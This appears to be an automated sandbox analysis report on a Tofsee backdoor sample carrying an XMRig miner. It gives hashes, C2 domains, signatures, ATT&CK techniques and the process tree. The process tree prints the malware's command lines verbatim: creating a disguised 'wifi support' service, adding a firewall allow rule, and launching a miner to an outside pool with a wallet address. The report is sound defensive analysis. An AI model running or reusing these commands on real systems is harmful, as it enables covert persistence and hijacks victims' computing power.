Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-09-2022 02:19

General

  • Target

    b44b9f4497332c165effe7e5aebbe4d9.exe

  • Size

    197KB

  • MD5

    b44b9f4497332c165effe7e5aebbe4d9

  • SHA1

    2691cd88c4ae2c351cd292a551da798f6023440e

  • SHA256

    6f5f412f4100c88ca174a6c35bb1c0e91b366782ac87ecd4751d95329941e818

  • SHA512

    cf9cd66677ba92618a646a959efb4603d5c2ff2aa808b848be6215e976aa7e4686723963970c87a4d021c9b82fe675d201837cf54d99750f88e29cf7f8643cbf

  • SSDEEP

    3072:Wiz4MyLvL4klKN51fIR6BtbV9AZEbyeWyfElB1X/PkkXx:kLvblSh7oqbrEN

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b44b9f4497332c165effe7e5aebbe4d9.exe
    "C:\Users\Admin\AppData\Local\Temp\b44b9f4497332c165effe7e5aebbe4d9.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4772
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\xoqilfbl\
      2⤵
        PID:2092
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\nqzwyqgj.exe" C:\Windows\SysWOW64\xoqilfbl\
        2⤵
          PID:4712
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create xoqilfbl binPath= "C:\Windows\SysWOW64\xoqilfbl\nqzwyqgj.exe /d\"C:\Users\Admin\AppData\Local\Temp\b44b9f4497332c165effe7e5aebbe4d9.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4492
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description xoqilfbl "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4300
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start xoqilfbl
          2⤵
          • Launches sc.exe
          PID:2608
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4944
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4772 -s 604
          2⤵
          • Program crash
          PID:1224
      • C:\Windows\SysWOW64\xoqilfbl\nqzwyqgj.exe
        C:\Windows\SysWOW64\xoqilfbl\nqzwyqgj.exe /d"C:\Users\Admin\AppData\Local\Temp\b44b9f4497332c165effe7e5aebbe4d9.exe"
        1⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4996
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1292
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4608
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4996 -s 516
          2⤵
          • Program crash
          PID:2124
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4772 -ip 4772
        1⤵
          PID:2128
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4996 -ip 4996
          1⤵
            PID:4604

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\nqzwyqgj.exe
            Filesize

            13.1MB

            MD5

            2cfc20a05dabcf79ac885b1cbc2908ee

            SHA1

            88711193280d62ee0bdb4edba2c1bd43a3da4918

            SHA256

            baab7d75c7d90f8b9c34e70cab104b43b1aaf85712605bdf33a3ee03931155b5

            SHA512

            59ee830594f208a4c1bd757ee63ceb0a895fa03356f6b64d964b82b85b2862786cfd148fb53be10f0e8600f92606d18189da6d4fe0c8eac3477a8b118ec4d0b8

          • C:\Windows\SysWOW64\xoqilfbl\nqzwyqgj.exe
            Filesize

            13.1MB

            MD5

            2cfc20a05dabcf79ac885b1cbc2908ee

            SHA1

            88711193280d62ee0bdb4edba2c1bd43a3da4918

            SHA256

            baab7d75c7d90f8b9c34e70cab104b43b1aaf85712605bdf33a3ee03931155b5

            SHA512

            59ee830594f208a4c1bd757ee63ceb0a895fa03356f6b64d964b82b85b2862786cfd148fb53be10f0e8600f92606d18189da6d4fe0c8eac3477a8b118ec4d0b8

          • memory/1292-159-0x0000000002920000-0x0000000002930000-memory.dmp
            Filesize

            64KB

          • memory/1292-162-0x0000000002BF0000-0x0000000002BF5000-memory.dmp
            Filesize

            20KB

          • memory/1292-146-0x0000000000A90000-0x0000000000AA5000-memory.dmp
            Filesize

            84KB

          • memory/1292-153-0x0000000002600000-0x000000000280F000-memory.dmp
            Filesize

            2.1MB

          • memory/1292-152-0x0000000000A90000-0x0000000000AA5000-memory.dmp
            Filesize

            84KB

          • memory/1292-156-0x0000000002910000-0x0000000002916000-memory.dmp
            Filesize

            24KB

          • memory/1292-151-0x0000000000A90000-0x0000000000AA5000-memory.dmp
            Filesize

            84KB

          • memory/1292-168-0x0000000007B50000-0x0000000007B57000-memory.dmp
            Filesize

            28KB

          • memory/1292-165-0x0000000007600000-0x0000000007A0B000-memory.dmp
            Filesize

            4.0MB

          • memory/1292-145-0x0000000000000000-mapping.dmp
          • memory/2092-135-0x0000000000000000-mapping.dmp
          • memory/2608-140-0x0000000000000000-mapping.dmp
          • memory/4300-139-0x0000000000000000-mapping.dmp
          • memory/4492-138-0x0000000000000000-mapping.dmp
          • memory/4608-177-0x00000000002E0000-0x00000000003D1000-memory.dmp
            Filesize

            964KB

          • memory/4608-171-0x0000000000000000-mapping.dmp
          • memory/4608-172-0x00000000002E0000-0x00000000003D1000-memory.dmp
            Filesize

            964KB

          • memory/4712-136-0x0000000000000000-mapping.dmp
          • memory/4772-133-0x00000000022C0000-0x00000000022D3000-memory.dmp
            Filesize

            76KB

          • memory/4772-132-0x0000000000798000-0x00000000007A9000-memory.dmp
            Filesize

            68KB

          • memory/4772-134-0x0000000000400000-0x000000000058B000-memory.dmp
            Filesize

            1.5MB

          • memory/4772-143-0x0000000000798000-0x00000000007A9000-memory.dmp
            Filesize

            68KB

          • memory/4772-144-0x0000000000400000-0x000000000058B000-memory.dmp
            Filesize

            1.5MB

          • memory/4944-142-0x0000000000000000-mapping.dmp
          • memory/4996-150-0x0000000000400000-0x000000000058B000-memory.dmp
            Filesize

            1.5MB

          • memory/4996-149-0x0000000000843000-0x0000000000854000-memory.dmp
            Filesize

            68KB